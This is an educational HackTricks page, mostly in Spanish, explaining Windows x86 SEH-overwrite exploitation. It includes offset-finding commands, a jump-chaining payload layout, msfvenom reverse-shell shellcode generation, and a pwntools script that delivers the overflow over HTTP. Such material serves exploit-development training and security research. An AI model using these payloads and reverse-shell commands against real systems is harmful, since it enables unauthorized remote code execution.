Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

SEH-based exploitation es una técnica clásica de Windows x86 que abusa del Structured Exception Handler chain almacenado en la pila. Cuando un overflow de buffer en la pila sobrescribe los dos campos de 4 bytes

  • nSEH: pointer to the next SEH record, and
  • SEH: pointer to the exception handler function

un atacante puede tomar el control de la ejecución mediante:

  1. Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despache una excepción el gadget haga return hacia bytes controlados por el atacante, y
  2. Usar nSEH para redirigir la ejecución (típicamente un salto corto) de vuelta al gran buffer desbordado donde reside el shellcode.

Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, prefiera un módulo sin SafeSEH y ASLR para el gadget. Los caracteres problemáticos suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP.


Finding exact offsets (nSEH / SEH)

  • Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
  • Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Valida colocando marcadores en esas posiciones (p. ej., nSEH=b"BB", SEH=b"CC"). Mantén la longitud total constante para que el crash sea reproducible.


Elegir un POP POP RET (SEH gadget)

Necesitas una secuencia POP POP RET para desempilar el frame SEH y regresar a tus bytes nSEH. Búscalo en un módulo sin SafeSEH y, idealmente, sin ASLR:

  • Mona (Immunity/WinDbg): !mona modules luego !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH para listar POP POP RET gadgets y el estado de SafeSEH.

Elige una dirección que no contenga badchars cuando se escriba en little-endian (p. ej., p32(0x004094D8)). Prefiere gadgets dentro del binario vulnerable si las protecciones lo permiten.


Técnica de salto hacia atrás (short + near jmp)

nSEH solo tiene 4 bytes, lo que admite como máximo un short jump de 2 bytes (EB xx) más relleno. Si necesitas saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadénalo hacia él con un short jump desde nSEH.

Con nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Idea de diseño para un payload de 1000 bytes con nSEH en offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Flujo de ejecución:

  • Ocurre una excepción, el dispatcher usa el SEH sobrescrito.
  • POP POP RET desenrolla hacia nuestro nSEH.
  • nSEH ejecuta jmp short -8 hacia el near jump de 5 bytes.
  • El Near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode.

Caracteres malos

Construye una cadena completa de badchars y compara la memoria de la pila después del crash, eliminando los bytes que son corrompidos por el parser objetivo. Para overflows basados en HTTP, \x00\x0a\x0d casi siempre están excluidos.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Generación de shellcode (x86)

Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar la variación del punto de aterrizaje.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

Si se genera sobre la marcha, el formato hex es conveniente para embed y unhex en Python:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Entrega vía HTTP (CRLF preciso + Content-Length)

Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una petición raw con CRLFs exactos y Content-Length para que el servidor lea todo el cuerpo que desborda.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Herramientas

  • x32dbg/x64dbg para observar la cadena SEH y triagear el crash.
  • ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: ERC --SEH.
  • Mona como alternativa: !mona modules, !mona seh.
  • nasmshell para ensamblar short/near jumps y copiar raw opcodes.
  • pwntools para crear payloads de red precisos.

Notas y advertencias

  • Solo aplica a procesos x86. x64 usa un esquema de SEH diferente y la explotación basada en SEH generalmente no es viable.
  • Preferir gadgets en módulos sin SafeSEH y ASLR; de lo contrario, encontrar un módulo no protegido cargado en el proceso.
  • Los watchdogs de servicio (service watchdogs) que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks